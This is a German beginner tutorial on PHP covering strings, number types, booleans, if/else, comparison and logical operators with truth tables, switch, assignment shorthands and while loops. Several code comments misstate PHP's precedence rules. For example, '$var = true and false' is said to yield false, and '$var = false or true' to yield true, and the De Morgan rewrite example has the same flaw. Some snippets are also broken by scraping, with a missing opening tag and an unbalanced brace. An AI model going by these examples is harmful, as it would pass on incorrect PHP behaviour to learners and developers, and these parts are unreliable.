<?php echo '<a href="index.php?section=XYZ">Link</a>'; // ^^^ // zuerst durch '..' ersetzen (was erstmal falsch ist) // | // V echo '<a href="index.php?section='..'">Link</a>'; // ^^ // und dann die Variable einfügen // | // V echo '<a href="index.php?section='.$var.'">Link</a>'; ?>
Mit sprintf gibt es noch elegantere Möglichkeiten wie man
den Inhalt einer Variablen in einen String bekommt.
Wenn man in seinen PHP-Skripten mit Variablen(inhalten) rechnen möchte muss man
dazu einen Datentyp benutzen der dazu dient Zahlen darzustellen. Eine
naive Möglichkeit ist es die Zahlen in Strings zu schreiben und damit zu rechnen.
<?php echo "5"+"9"; ?>
Dies gibt wie erwartet 14 aus. Hier haben wir jedoch Strings miteinander
addiert. In der Regel klappt dies nicht, hier hat jedoch Typecasting
zugeschlagen und die Strings vorher in echte Zahlen umgewandelt. Für Zahlen
gibt es in PHP zwei Datentypen. Dies sind einmal Integer-Zahlen
und einmal Float-Zahlen.
2. Integer-Zahlen
Integer-Zahlen sind ganzzahlige Werte, enthalten also kein Nachkommastellen. Beispiele
sind 5, 31 oder 199, aber auch negative Zahlen wie
-1, -10 oder -44. In PHP schreibt man Integer-Zahlen
einfach in den Quelltext, der PHP-Interpreter erkennt diese Ziffernfolge als Zahl.
<?php $var = 5; $var2 = 31; $var3 = -10; ?>
Es ist auch möglich Integer-Zahlen in Hexadezimaler- und Oktaler-Notation anzugeben, wenn
man denn die Umrechnung im Kopf hat. Für die hexadezimaler Schreibweise verwendet man den
Präfix 0x, für die oktaler Schreibweise hingegen nur den Präfix 0
(normale Integer-Zahlen starten direkt mit der höchsten Ziffer oder sind
eh nur die Zahl 0).
<?php $var = 0xFF; // hexadezimal (255), oft bei protokollen verwendet $var2 = 0763; // octal (499), oft bei chmod verwendet $var3 = 0; // normale null, hier ist es eh egal ob hex-, oct- oder dezimal ?>
3. Float-Zahlen
Float-Zahlen sind Werte mit Nachkommastellen, Beispiele davon sind 5.7,
12.25 oder -4.07, aber auch 10.0, 3.1E-10
oder 4.5e3.
<?php $var = 5.7; $var2 = 3.1E-10; $var = .1; ?>
Float-Zahlen erkennt man an den Dezimalpunkt ., des Weiteren wird nicht
ein Kommata (,) für die Nachkommastellen verwendet. Da der Punkt jedoch auch
für die String-Verkettung benutzt wird muss man hier ein wenig aufpassen, wenn man
Float-Zahlen mit Strings verketten will. Notfalls ist es nötig Klammern zu verwenden.
<?php echo 'Prozentualer Anteil:'.77.3.'%'; // wird nicht klappen echo 'Prozentualer Anteil:'.(77.3).'%'; // klappt echo 'Prozentualer Anteil:'. 77.3 .'%'; // klappt, die Leerzeichen "helfen" hier php beim parsen ?>
4. Speicherverwaltung von Integer- und Float-Zahlen
Nun fragt man sich warum es Integer- und Float-Zahlen gibt wo doch Float-Zahlen
mehr können. Die Verwendung und die Logik in der Speicherung beider
Datentypen ist jedoch eine andere. Integer-Zahlen werden z.B. relativ
einfach abgespeichert. Nehmen wir an eine Integer-Zahl soll in ein 64 Bit
Feld gespeichert werden. Davon geht dann schonmal 1 Bit für das Vorzeichen
drauf (mehr oder weniger, hat was mit Zweierkomplement
zu tun). Die restlichen 63 Bits stehen dann für eine bestimmte
Wertigkeit. Wenn an den Bits eine 1 steht so besitzt
diese Integer-Zahl diese Wertigkeit. Die Summe aller Wertigkeiten die
gesetzt sind bilden dann den Betrag der Zahl und mit dem Vorzeichenbit
wird dann die komplette Zahl dargestellt. Die Wertigkeit startet dabei
von 2^0 (1) und geht bis 2^62 (4611686018427387904).
Die Zahl 50 wird z.B. in die Wertigkeiten 32, 16 und 2 aufgeteilt (wie man sieht
sind das Zweierpotenzen). Auf Bits runtergerechnet sind das die Bits
1 (2^1 = 2), 4 (2^4 = 16) und 5 (2^5 = 32). Diese werden dann in dem 64 Bit
Feld gesetzt.
Abb.:Gesetzen Bits der Integerzahl 50 (vereinfacht)
Integer-Zahlen werden jedoch üblicherweise Trickreicher im sog.
Zweierkomplement
abgespeichert.
Bei den Float-Zahlen geht man einen anderen Weg. Da sie auch Nachkommastellen
speichern können können wir solche Wertigkeiten erstmal nicht
benutzen. Float-Zahlen werden in den IEEE 754
Standard gespeichert. Z.b. werden von den 32 Bits 1 Bit fürs Vorzeichen verwendet,
8 Bits für den Exponent und 23 Bits für die Mantisse. Zuerst wird mit der Mantisse
eine Nachkommazahl dargestellt, die mehr oder weniger zwischen 0 und 1 liegt. Dann wird
zu dieser Zahl eine 2er Potenz draufmultipliziert. Der Exponent wird dabei aus den 8
Bits gebildet. Je nach verwendeten Standard wird diese Mantisse, die zwischen 0 und 1
liegt, nach links (wenn der Faktor sehr groß ist, z.B. 2^50) oder nach
rechts (wenn der Faktor sehr klein ist, z.B. 2^-50) verschoben. Mit dem Vorzeichenbit
endsteht dann eine komplette Zahl. Letzendlich kann man also nicht jede beliebige Kommazahl darstellen
sondern nur einen bestimmten Bereich der Kommazahl, da man nur einen 6-7 Ziffern großen
Nachkommawert hin und her verschiebt. Für die meisten Sachen reicht diese Idee,
in der Mathematik macht man es ja auch nicht anders (der LKW wiegt 31,6 Tonnen statt
31,6453903197 Tonnen).
Um einfache Rechenoperationen auszuführen gibt es in PHP 6 Rechenoperatoren. Das
sind einmal die 4 Grundrechenarten +, -,
* und / (/ ist teilen, da
in PHP : schon verwendet wird, aber auch weil in allen anderen
Programmiersprachen teilen durch / dargestellt wird), und dann noch
der --Operator der eine Zahl negiert und der %-Operator
der den ganzzahligen Rest einer Division bestimmt (man erinnert sich an die
1. oder 2. Schulklasse, 20:7 = 2 Rest 6).
<?php $a = 10; $b = 6; echo $a-$b; // 4 echo $a+$b; // 16 echo $a*$b; // 60 echo $a/$b; // float(1.66666666667) echo -$a; // -10, analog würde natürlich auch echo 0-$a; gehen echo $a%$b; // 4 (6 passt einmal in 10, Rest ist 4) ?>
Für kompliziertere Berechnungen gibt es eine Menge mathematischer Funktionen,
alle zu finden im Handbuch unter Mathematical Functions.
Insbesondere ist pow eine solche Funktion, die eine Potenz errechnet
(x hoch y). Anfänger versuchen jedoch ^ (für hoch) im PHP-Skript zu verwenden und
wundern sich warum falsche Ergebnisse herauskommen. Das Zeichen ^
ist in PHP zwar ein gültiger Operator (erwartet also Zahlen), berechnet jedoch
was komplett anderes (konkret die Bitweise XOR-Verknüpfung der Zahlen).
<?php $basis = 5; $exponent = 7; echo $basis^$exponent; // gibt 2 aus, also absolut nicht das was man wollte echo pow($basis, $exponent); // gibt 78125 aus ?>
Dies jedoch nur am Rande, wurde aber erwähnt da es doch manchmal bei Anfängern auftritt.
In PHP gibt es einen Datentyp der theoretisch nur ein einzelnes Bit
Speicherplatz benötig. Mit einem Bit können nur die zwei
verschiedenen Wert 0 und 1 dargestellt werden.
In Programmiersprachen spricht man eher von den Werten true (für 1)
und false (für 0). Dieser Datentyp wird dazu verwendet um
zu sagen ob etwas stimmt oder nicht. Umgs. sagt man etwas ist wahr
oder etwas ist falsch.
In PHP werden die Programmcodes true und false verwendet
um die entsprechenden boolischen Werte darzustellen. Groß- und Kleinschreibung
ist dabei egal, jedoch wird oft die kleingeschriebene Schreibweise verwendet.
$var5 = 'true'; // dies ist der 4 zeichen lange String 'true', nicht der boolische wert true ?>
In PHP-Skripten wird dieser Datentyp für Kontrollstrukturen verwendet. Dadurch
wird entschieden welcher Programmteil in einem Skript ausgeführt wird und welcher
nicht.
2. Kontrollstrukturen
Kontrollstrukturen in PHP werden dazu verwendet den Programmfluss zu steuern.
Die Steuerung ist dabei die Frage ob ein Programmcode ausgeführt werden soll
oder nicht. Dazu verwendet man den Sprachkonstrukt if. Der
Aufbau ist dabei wie folgt.
<?php if (ausdruck) anweisung ?>
Der Ausdruck wird von PHP verarbeitet und muss einen Wert zurückliefern. Dieser
wird dann geprüft ob er dem boolischen Wert true entspricht. Wenn
dies der Fall ist wird die folgende Anweisung ausgeführt. In den seltesten Fällen
will man eine einzelne Anweisung steuern, daher gruppiert man mehrere
Anweisungen mit den geschweiften Klammern { und }
zusammen.
Der zu prüfende Ausdruck kann dabei auch aus mehreren Ausdrücken zusammengesetzt werden,
die dann mit den gängigen logischen Verknüpfungen and, or! und xor verbunden werden.
3. Alternative Ausführung
Wenn man nun Programmteile mit einer if-Abfrage steuert möchte
man manchmal auch einen alternativen Programmteil aufrufen falls die if-Abfrage nicht
aufgerufen wurde. Bei einem Login heißt dies z.B. Wenn der Login gültig ist zeige
den Adminbereich, sonst zeige das Loginformular. In PHP wird dies
mit dem Schlüsselwort else realisiert, welches zu einem vorherigen
if gehören muss.
Analog könnte man auch ein neue if-Abfrage hinzufügen und den Ausdruck negieren.
<?php if (login_gueltig) { // zeige adminbereich } if (!login_gueltig) // zeige loginformular } ?>
Dieser Programmierstil ist jedoch nicht zu empfehlen und kann in manchen Fällen sogar
gar nicht möglich sein.
So eine alternative Programmausführung kann sogar mit elseif Strukturen
erweitert werden. Dies ist ein Block der zwischen den if- und else-Block eingefügt wird
und auch ein Ausdruck zum kontrollieren enthält.
<?php if (cond) { // tu was } elseif (andere_cond) { // mach jenes } else { // mach dies } ?>
Dieser elseif Teil wird dann ausgeführt/geprüft wenn die vorherige If-Abfrage false
ergab. Es können dabei auch mehrere elseif-Teile verwendet werden.
<?php if (cond) { // tu was } elseif (andere_cond) { // mach jenes } elseif (und_andere_bedingung) { // mach das } elseif (bedingung) { // php-code } else { // mach dies } ?>
Die Bedingung die zuerst eintrifft wird dann ausgeführt und nur diese. Wenn keine
Bedingung zutrifft wird der else-Teil ausgeführt.
4. Stolperfalle if();
Auch wenn if () aussieht wie ein Funktionsaufruf, es ist keiner. Ein Semikolon
am Ende ist nicht nur fehlplaziert sondern unterbindet auch die korrekte Arbeitsweise die
eigentlich erwartet wird. Als Beispiel nehmen wir folgenden Quellcode.
<?php if (false); // <-- man beachte das ; echo 'Foobar'; ?>
Obwohl die Bedingung false ist wird die echo-Anweisung ausgeführt.
Die If-Abfrage steuert nur die nächste Anweisung bzw. den nächsten Programmblock innerhalb von
geschweiften Klammern. In diesem Fall ist es nicht die echo 'Foobar'; Zeile sondern
das einzelne ; hinter der If-Abfrage. Der Quellcode sieht eigentlich wie
folgt aus.
<?php if (false) ; echo 'Foobar'; ?>
Oder um es noch deutlicher zu machen.
<?php if (false) { ; } echo 'Foobar'; ?>
Hier sieht man das die If-Abfrage nur eine leere Anweisung steuert, die Echo-Anweisung ist davon unberührt.
Um zwei Werte auf Gleichheit zu testen verwendet man in PHP den == Operator. Auf beiden
Seiten des Operators werden die Inhalte hingeschrieben die man vergleichen möchte.
Diese können Variablen sein oder auch direkte Werte. PHP wertet dann einen solchen
Ausdruck in einen boolischen Wert um, das Ergebnis ist somit entweder false
oder true. Dieses Ergebnis kann dann später weiterverwendet werden, wie
z.B. in Fallunterscheidungen und Kontrollflußstrukturen.
<?php "max" == "müller"; // ergibt bool(false), das Ergebnis wurde jedoch nicht verwendet/gespeichert $check = "max" == $var; // prüft den Inhalt und speichert true oder false in $check var_dump('foo' == 'bar'); // gibt bool(false) aus ?>
2. Andere Vergleichsoperatoren
Neben == gibt es noch weitere Vergleichsoperatoren. Für Zahlen existieren
zusätzlich die Operatoren <, <=, >
und >= die entsprechend das Prüfen was die Zeichen darstellen und
wie man sie im täglichen Sprachgebrauch benutzt.
<?php $var = 5 < 7; // ist true $var = 10 <= 10; // ist true $var = 9 > 9; // ist falsch ?>
Dann gibt es noch den Ungleichoperator != um zu prüfen ob zwei
Werte unterschiedlich sind.
Als Steigerung der Vergleichsoperatoren == und !=
gibt es noch die Operatoren === und !==. Dabei wird
neben den Wert auch der Typ überprüft. Somit sind die Werte "10"
(als String) und 10 (als Integer) gleich wenn man
== verwendet, jedoch unterschiedlich wenn man ===
verwendet.
<?php $var = 5 == "5"; // ist true $var = 5 === "5"; // ist false, da int != string
$var = 'Max' == "Max"; // ist true, obwohl single quote string und double quote string $var = 'Max' === "Max"; // auch true, beide haben die gleichen Stringinhalte und beide sind vom Typ String ?>
Dieses Wissen braucht man bei Funktionen die z.B. bei einem Fehlverhalten den
boolischen Wert false zurückliefern jedoch aber auch
Werte zurückliefern die mit dem == Operator auch als
false angesehen werden (wie z.B. die 0).
<?php $var = false == 10; // false, da ungleich $var = false == 0; // true, obwohl das eine eine Zahl und das andere ein boolean ist
$var = false === 10; // nichts geändert, false $var = false === 0; // diesmal false, da int != boolean ist ?>
3. Zuweisung vs. Vergleichsoperator
Typische Probleme bei dem Vergleichsoperator besteht wenn man ausversehen ein
Gleichheitszeichen vergisst und dann eine Zuweisung anstelle des
Vergleichs hat. Die PHP-Skripte sind dann meistens syntaktisch richtig,
berechnen aber nicht das was der Autor wollte.
<?php $check = $name == 'Max'; // prüft den Inhalt von $name gegen den String 'Max' und speichert // true in $check $check = $name = 'Max'; // speichert den Wert 'Max' in $name (insbesondere wird // dann $name überschrieben) und das Ergebnis (die Zuweisung) // wird dann in $check gespeichert (enthält dann auch den String 'Max') ?>
Besonders ärgerlich ist dies in einer If-Abfrage, wo man ein Variableninhalt
prüfen wollte, jedoch stets eine Zuweisung macht und somit, neben der
fehlerhaften If-Abfrage, ungewollt die zu prüfende Variable verändert.
Daher sollte man stehts genau prüfen ob man eine Zuweisung oder ein Vergleich
hat und was man eigentlich haben möchte. Um diesen Stolperstein entgegen
zu wirken schreibt man bei einem Vergleich den konstanten Wert links vom
Vergleichoperator.
<?php "Max" == $name; ?>
Somit wird sichergestellt das hier nur der Vergleichsoperator verwendet werden kann
denn eine Zuweisung in einen konstanten String ist nicht möglich. PHP
erzeugt hier dann eine Fehlermeldung der Form
Parse error: syntax error, unexpected '=' in .... Einen Parse Error
zu haben und zu korrigieren ist besser als keinen Fehler zu haben und stundenlang
nach dem Fehler zu suchen.
<?php $check = "Max" == $name; // prüfen und true/false in $check speichern $check = $name = "Max"; // könnte nicht als Fehlerursache erkannt werden $check = "Max" = $name; // Zuweisung in einen String klappt nicht -> Fehlermeldung ?>
Eine Überprüfung eines Sachverhalts ist manchmal
aus mehreren unabhängigen Bedingungen zusammengesetzt. In PHP können
diese atomaten Bedingungen (z.B. Vergleiche oder schon vorher berechnete
boolische Ausdrucke) miteinander kombiniert werden um eine gewünschte
Abfrage zu erhalten. Theoretisch gibt es für 2 Variablen 16 verschiedene
Funktionen, die für 2 Werte true oder
false zurückliefern. In der realen Welt verwendet man
üblicherweise nur 7 solcher Kombinationen/Funktionen die sich in
3 Grundkombinationen und 4 erweiterte Kombinationen aufteilen.
PHP implementiert davon 4, alle anderen Kombinationen können jedoch
aus Kombinationen dieser Grundfunktionen von Hand dargestellt werden.
2. AND-Verknüpfung
Die AND-Verknüpfung ist die einfachste logische
Verknüpfung. Das Ergebnis solch einer Verknüpfung liefert true
wenn beide Argumente true sind. Im Sprachgebrauch
verwendet man AND intuitiv genau so, wie z.B. bei
Du darfst draußen spielen wenn du deine Hausaufgaben gemacht hast
und dein Zimmer aufgeräumt ist. In PHP wird diese Verknüpfung
mit dem AND-Operator realisiert.
<?php $var = false and false; // erzeugt false $var = false and true; // erzeugt false $var = true and false; // erzeugt false $var = true and true; // erzeugt true $spielen = $hausaufgaben_fertig and $zimmer_aufgeraeumt; ?>
Dies kann man auch in einer Wahrheitstabelle darstellen, eine gängige
Entwurfstechnik.
Wahrheitstabelle von AND
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
0
0
1
0
1
0
0
1
1
1
In der Digitaltechnik verwendet man besondere Diagramme die diese Verkettungen
benutzen. Eine AND-Verknüpfung hat z.B. folgende Darstellung.
Abb.:AND-Verknüpfung als Schaltzeichen
Anhand des &-Zeichen erkennt man auch dass es sich
hierbei um eine AND-Verknüpfung ist. Links sind die beiden
Eingänge (könnten übrigens auch mehr sein, PHP kann jedoch nur 2 verwalten)
A und B und rechts ist der Ausgang Q.
3. OR-Verknüpfung
Eine OR-Verknüpfung ist die zweite Standardverknüpfung
in PHP der mit dem Schlüsselwort or realisiert wird. Der
natürliche Sprachgebrauch ist jedoch irreführend bei einer
OR-Verknüpfung. Eine Fußgängerampel schaltet auf grün
wenn der eine Knopf oder der andere Knopf gedrückt wird. Umbewusst spricht
man hier jedoch von einem exklusiven Ausschluss, entweder den einen
oder den anderen Knopf drücken. Jedoch würde die Ampel rein
theoretisch auch schalten, wenn beide Knöpfe gleichzeitig gedrückt werden.
Und so arbeitet auch der or-Operator. Er liefert true
wenn mindestens einer der beiden Werte/Parameter true sind.
<?php $var = false or false; // liefert false $var = false or true; // liefert true $var = true or false; // liefert true $var = true or true; // liefert true
$gruen_schalten = $knopf1 or $knopf2; ?>
Die Wahrheitstabelle sieht wie folgt aus
Wahrheitstabelle der OR-Verknüpfung
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
0
0
1
1
1
0
1
1
1
1
In der Digitaltechnik verwendet man folgendes Schaltzeichen.
Abb.:OR-Verknüpfung als Schaltzeichen
Wenn man die Eingänge mit 0 oder
1 belegt, sieht man den Sinn an >=1.
Wenn man also die Eingünge zusammen addiert so muss man
mit der Summe über 0 kommen damit am Ausgang eine 1
kommt.
4. NOT-Operator
Der NOT-Operator ist ein Operator der nur einen
Wert benötigt, nicht wie die anderen beiden Operatoren zwei. Daher
gibt es auch nur 2 mögliche Kombinationen, entweder der Wert für
den Parameter ist true oder false. In PHP
wird dieser Operator mit dem Zeichen ! erzeugt, der
zu prüfende Wert wird dann dahinter geschrieben. Das
Ergebnis dieses Operators ist die Negation vom verwendeten Wert.
Also aus true wird false und umgekehrt. Nehmen wir als
Beispiel eine Laplace-Münze.
Diese fällt entweder auf Kopf oder Zahl. Wenn sie
auf Kopf fällt kann sie nicht auf Zahl fallen und
umgekehrt.
<?php $ist_kopf = !$ist_zahl; ?>
Dieses ! hat man schon bei den Vergleichsoperatoren
!= und !== kennengelernt. Letzendlich könnte man
diese Operatoren auch wie folgt schreiben.
<?php $var = $x != $y; // mit != $var = !($x == $y); // mit !(==) (Klammer sind nötig sonst wird nur die Variable $x negiert) ?>
Die Wahrheitstabelle fällt entsprechend kürzer aus.
Wahrheitstabelle des NOT-Operators
Argument (A)
Ergebnis (Q)
0
1
1
0
In der Digitaltechnik wird folgendes Schaltzeichen verwendet.
Abb.:NOT-Verknüpfung als Schaltzeichen
Wichtig hierbei ist nicht die 1 (das ist
mehr oder weniger ein neutrales Element wie die 1 für eine
Multiplikation oder 0 für eine Addition) sondern der kleine
Kreis hinter dem Schaltzeichen. Er zeichnet die eigentliche
Negation an, in diesem Fall am Ausgang des Elements.
Dies heißt auch das der Kreis für ein Eingang verwendet werden kann,
dass das logische Signal (1/0 bzw. true/false)
negiert.
5. NAND-Verknüpfung
Neben den 3 Grundverknüpfungen ist NAND ein erweiterte
Verknüpfung. Sie wird aus den Grundverknüpfungen AND
und NOT gebildet. In PHP gibt es kein solchen Operator
kann aber entsprechend zusammengebaut werden.
<?php $check = !($var1 and $var); // AND -> NOT = NAND $check = !$var1 and $var; // kein NAND, hier wird erst $var1 negiert und // dann zu 'and' gepackt. ?>
In der Digitaltechnik wird folgendes Schaltzeichen verwendet.
Abb.:NAND-Verknüpfung als Schaltzeichen
Anhand des Schaltzeichens erkennt man auch die Verkettung der Verknüpfungen
AND und NOT. Die Tabelle zeigt auch
die interne Verkettung dieser Operatoren.
Wahrheitstabelle des NAND-Operators
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
1
0
1
1
1
0
1
1
1
0
6. NOR-Verknüpfung
Die NOR-Verknüpfung ist eine weitere erweiterte Verknüpfung, die
selbe wie NAND nur in grün, also OR
und NOT verkettet. PHP kennt für diese Art der
Verknüpfung auch keinen eigenen Operator und wird entsprechend auch
mit or und ! erzeugt.
<?php $check = !($var1 or $var); // OR -> NOT = NOR $check = !$var1 or $var; // kein NOR, hier wird erst $var1 negiert und // dann zu 'or' gepackt. ?>
Und auch in der Digitaltechnik verwendet man die selbe Idee wie beim
NAND.
Abb.:NOR-Verknüpfung als Schaltzeichen
Die Wahrheitstabelle ist auch entsprechend aufgebaut.
Wahrheitstabelle des NOR-Operators
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
1
0
1
0
1
0
0
1
1
0
7. XOR-Verknüpfung
Die dritte erweiterte Verknüpfung ist die XOR-Verknüpfung. Sie
arbeitet wie eine OR-Verknüpfung, jedoch darf nur ein
Wert true sein. Wenn beide Werte true sind liefert
diese Verknüpfung false.
<?php $check = ($var1 and !$var2) or (!$var1 and $var2); ?>
Da niemand bereit ist so eine Verkettung von bereits vorhandenen Verknüpfungen
hinzuschreiben gibt es in PHP dafür die Verknüpfungszeichenkette xor.
Das x steht dabei für exclusive.
In der Digitaltechnik gibt es auch ein eigenes Schaltzeichen.
Abb.:XOR-Verknüpfung als Schaltzeichen
Das =1 deutet an, dass die Summe nur 1 sein darf (wenn
man denn im Kopf die Werte zusammenaddiert). Dies entspricht also genau dem
Verhalten einer XOR-Verknüpfung.
Wahrheitstabelle des XOR-Operators
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
0
0
1
1
1
0
1
1
1
0
8. XNOR-Verknüpfung
Die XNOR-Verknüpfung ist wiederum sehr einfach. Es ist einfach
eine Negation der XOR-Verknüpfung, wird genauso realisiert und
genauso dargestellt.
Das Schaltzeichen in der Digitaltechnik sieht dann entsprechend aus.
Abb.:XNOR-Verknüpfung als Schaltzeichen
Und die Wahrheitstabelle auch.
Wahrheitstabelle des XNOR-Operators
Argument 1 (A)
Argument 2 (B)
Ergebnis (Q)
0
0
1
0
1
0
1
0
0
1
1
1
9. Vereinfachungsregeln
In der Digitaltechnik gibt es einige Rechenregeln mit denen man längere
boolische Ausdrücke vereinfachen kann. Diese kann man ggf. auch auf PHP-Skripte
anwenden.
<?php $check = true and $var; /* ist das selbe wie: */ $check = $var; // da das true 'nichts bringt' $check = false and $var; /* ist das selbe wie: */ $check = false; // da bereits ein false drin ist $check = true or $var; /* ist das selbe wie: */ $check = true; // da bereits ein true drin ist $check = false or $var; /* ist das selbe wie: */ $check = $var; // da das false 'nichts bringt' ?>
Dann gibt es z.B. noch sowas wie Doppelnegation.
<?php $check = !(!$check); // ähnlich wie 'minus mal minus ergibt plus' ?>
Wichtiger sind jedoch die De
Morgansche Gesetze. Bei einem bestimmten Aufbau von einer AND-
oder OR-Verknüpfung kann man diese Verknüpfungen in eine
OR- oder AND-Verknüpfung umschreiben.
<?php $check = !$var1 and !$var2; $check = !($var1 or $var2); // das gleiche
$check = !($var1 and $var2); $check = !$var1 or !$var2; // das gleiche ?>
Man zieht also die Negation rein bzw. raus und muss dabei die
Verknüpfung von AND auf OR (bzw. umgekehrt)
ändern. Dies macht man in seinen Skripten um die Lesbarkeit zu erhöhen.
<?php $ueberspringen = !(('.' != $var) and ('..' != $var)); // was prüf ich hier nun? es soll nicht gleichzeitig zwei werte gelten? hä? $ueberspringen = !(!(('.' == $var) or ('..' == $var))); // doppelnegation auflösen $ueberspringen = ('.' == $var) or ('..' == $var); // achso... das ist lesbarer... ?>
Bei einer switch-Abfrage handelt es sich um eine spezielle
Art der Kontrollstruktur. Im Gegensatz zu einer if-Abfrage
kann mit einer switch-Abfrage nur ein direkter Vergleich mit einem
Wert durchgeführt werden. Wo es mit if möglich ist komplexe
Abfragen mit logischen Verknüpfungen zu erzeugen verwendet eine
switch-Abfrage intern nur den Vergleichsoperator ==.
Eine Switch-Abfrage wird mit dem Schlüsselwort switch eingeleitet.
Danach folgt in runden Klammern den Ausdruck der geprüft werden soll, üblicherweise
eine Variable. Danach folgt der Switchrumpf, eingeleitet und beendet durch
geschweifte Klammern ({}).
<?php switch ($var) { } ?>
Innerhalb des Switchrumpfs fügt man nun case Zeilen ein, an die
der PHP-Interpreter springt wenn der Ausdruck den selben Wert hat wie der
der hinter dem case steht. Nach dem case Ausdruck
folgt dann noch ein Doppelpunkt :.
<?php switch ($var) { case 5: // springe hier hin wenn 5 == $var gilt case "b": // springe hier hin wenn "b" == $var gilt } ?>
Dies hat also etwas von einem goto-Befehl, obwohl es in
PHP keine solchen Befehle gibt. Wenn PHP zu einem case-Block
hinspringt führt er den PHP-Code an dieser Stelle aus. Wenn er dabei auf
weitere case-Zeilen stößt werden diese ignoriert. Dies bedeutet auch das er
nicht automatisch beim nächsten case stoppt.
<?php $var = 4; switch ($var) { case 0: echo "Ich werde nicht ausgeführt"; case 4: echo "Ich schon"; case 90: echo "Ich jedoch auch"; } ?>
Wenn dieses Verhalten nicht erwünscht ist kann man eine break
Anweisung hinzufügen. Dies beendet dann den case-Teil und springt somit
zum Ende der Switch-Abfrage.
<?php $var = 4; switch ($var) { case 0: echo "Ich werde nicht ausgeführt"; break; case 4: echo "Ich schon"; break; case 90: echo "Ich nicht mehr"; break; // theoretisch überflüssig, man ist eh schon am ende } ?>
Falls eine switch-Abfrage keinen passendes case findet wird
der default:-Teil angesprungen, falls vorhanden.
<?php switch ($formaction) { case 'löschen': echo "Irgendwas wird nun gelöscht"; break; case 'speichern': echo "Irgendwas wird nun gespeichert"; break; default: echo "Zeige etwas an, oder mache etwas, falls kein case-teil trifft"; break; case 'neuladen': // kann gefunden werden und wird nicht automatisch durch default abgefangen echo "Etwas wird neu geladen"; break; } ?>
Obwohl es möglich ist ein solchen default:-Teil überall einzufügen
sollte er jedoch wegen der Übersicht nur am Ende der Switch-Abfrage eingefügt werden. Dies vereinfacht
das Lesen des PHP-Skripte. Zuerst prüft man die konkreten Werte und dann
gibt es zum Schluss ein default-Teil der als letzte Möglichkeit ausgeführt wird
(vergleichbar mit einem else bei Verkettetten if-else
if-else if-...-else Abfragen).
In PHP existieren einige Zuweisungsoperatoren die den Inhalt einer Variable relativ bearbeiten.
Dabei wird die Variable nicht mit einem neuen Wert überschrieben sondern der Inhalt wird um einen
Wert verändert.
<?php $var = 5;
$var = $var + 10;
$var += 10; ?>
Die zweite Programmzeile addiert die Werte der Variablen und der Konstante zusammen und speichert
das Ergebnis in die Variable. Die dritte Programmzeile hingegen verändert den Inhalt der Variable
direkt ohne das rechts von einem Gleichheitszeichen ein Ausdruck ausgewertet werden muss. Dies ist
also eine Kurzschreibweise für den Programmcode in Zeile 2. Bei dem += handelt es sich
um einen fest definierten Operator, zwischen den beiden Zeichen darf kein Leerzeichen stehen.
Diese Kurzschreibweisen gehen mit allen Grundrechenarten in PHP, auch mit / und %.
Beim Teilen muss natürlich wieder drauf geachtet werden dass nicht durch 0 geteilt wird.
Diese Kurzschreibweise ist auch für den Verkettungsoperator . definiert um schnell und einfach
neuen Text an einer Variable dranzuhängen.
<?php $x = 5;
$string = "Hallo \n"; $string .= "So kann man gut Sätze anhängen.\n"; $string .= 'test'; $string .= 'Die Variable hat den Wert '.$x."\n"; ?>
In der letzten Programmzeile wird der Ausdruck rechts vom Operator .= zuerst ausgerechnet
und dann entsprechend der Variable angehängt.
2. In-/Dekrementieren
In einem Programmcode kommt es oft vor dass der Inhalt einer Variable um 1 erhöht bzw. verringert wird.
Daher existieren in PHP Inkrement und Dekrement Operatoren die genau dies machen. Die Syntax ist angelehnt
an der Programmiersprache C.
<?php $name = 10;
$name++; // Wert erhöhen um 1
echo $name; // gibt 11 aus ?>
Dies war die Variante zum Inkrementieren, fürs Dekrementieren wird der ---Operator verwendet.
<?php $name = 10;
$name--; // Wert verringern um 1
echo $name; // gibt 9 aus ?>
Für Multiplikation und Division existieren keine solche Operatoren, würden auch keinen Sinn ergeben. Diese
Inkrement/Dekrement-Operatoren werden üblicherweise bei for-Schleifen verwendet um die Laufvariable
entsprechend um 1 zu verändern.
Schleifen dienen dazu einen Programmteil öfters hintereinander
auszuführen ohne ihn mehrfach im Code zu schreiben. Der Schleifenrumpf
wird dann jeweils mit leicht unterschiedlichen Variableninhalten durchlaufen.
Des Weiteren wird die Anzahl der Schleifendurchläufe durch eine
Bedingung kontrolliert. Wenn die Bedingung nach einem Durchlauf den Wert
false ergibt so wird die Schleife beendet und der PHP-Code wird
danach normal weitergearbeitet. So werden z.B. Newsbeiträge aus einer
Datenbank ausgelesen. Solch eine Schleife sorgt dann dafür dass ein
einzelner Newsbeitrag auf der Homepage ausgegeben wird. Wenn keine
weiteren Newsbeiträge in der Datenbank vorhanden sind so ist die
Schleife beendet und weiter PHP-Code kann folgen.
Es gibt 4 Arten von Schleifen in PHP, wobei hier erstmal nur 3
dargestellt werden. Der 4. Schleifentyp wird im Kapitel
Arrays durchgenommen, da er ein
Schleifenkonstrukt speziell für Arrays ist. Die anderen
3 Schleifentypen sind while, do-while
und for.
2. While-Schleifen
Eine while-Schleife ist der einfachste Schleifentyp. Er
besitzt einen Schleifenkopf in dem nur ein Ausdruck steht. Dieser
Ausdruck wird vor jedem Schleifendurchlauf ausgewertet und auf Boolean
geprüft. Wenn der Ausdruck true ergibt so wird der
Schleifenrumpf ausgeführt. Danach beginnt die nächste Überprüfung des
Schleifenkopfs. Wenn der Ausdruck false ergibt so wird
die Schleife beendet bzw. übersprungen und der weitere PHP-Code wird
ausgeführt. Da der Ausdruck ständig für einen neuen Schleifendurchlauf überprüft
wird muss der Ausdruck irgendwann den Wert false liefern, damit
die Schleife abgebrochen wird. Wenn dies nicht der Fall ist/wird so hat
man eine Endlosschleife, das Skript terminiert nicht sauber und der
Webserver bricht das Skript von sich aus mit einer entsprechenden Fehlermeldung
(meist nach 30 Sekunden) ab.
Eine While-Schleife wird in PHP mit dem Schlüsselwort while eingeleitet.
Danach folgt in runden Klammern (()) der zu prüfende Ausdruck. Dann folgt ein
einzelne Anweisung oder mehrere Anweisungen in geschweiften Klammern ({}) die
von der Schleife gesteuert werden. Obwohl eine einzelne Anweisung keine
geschweiften Klammern benötigen, ist es wie bei einer if-Abfrage üblich trotzdem
geschweifte Klammern zu verwenden, um die Übersichtlichbarkeit zu erhöhen.
<?php while (isAutoDreckig()) { Reinigen(); } ?>
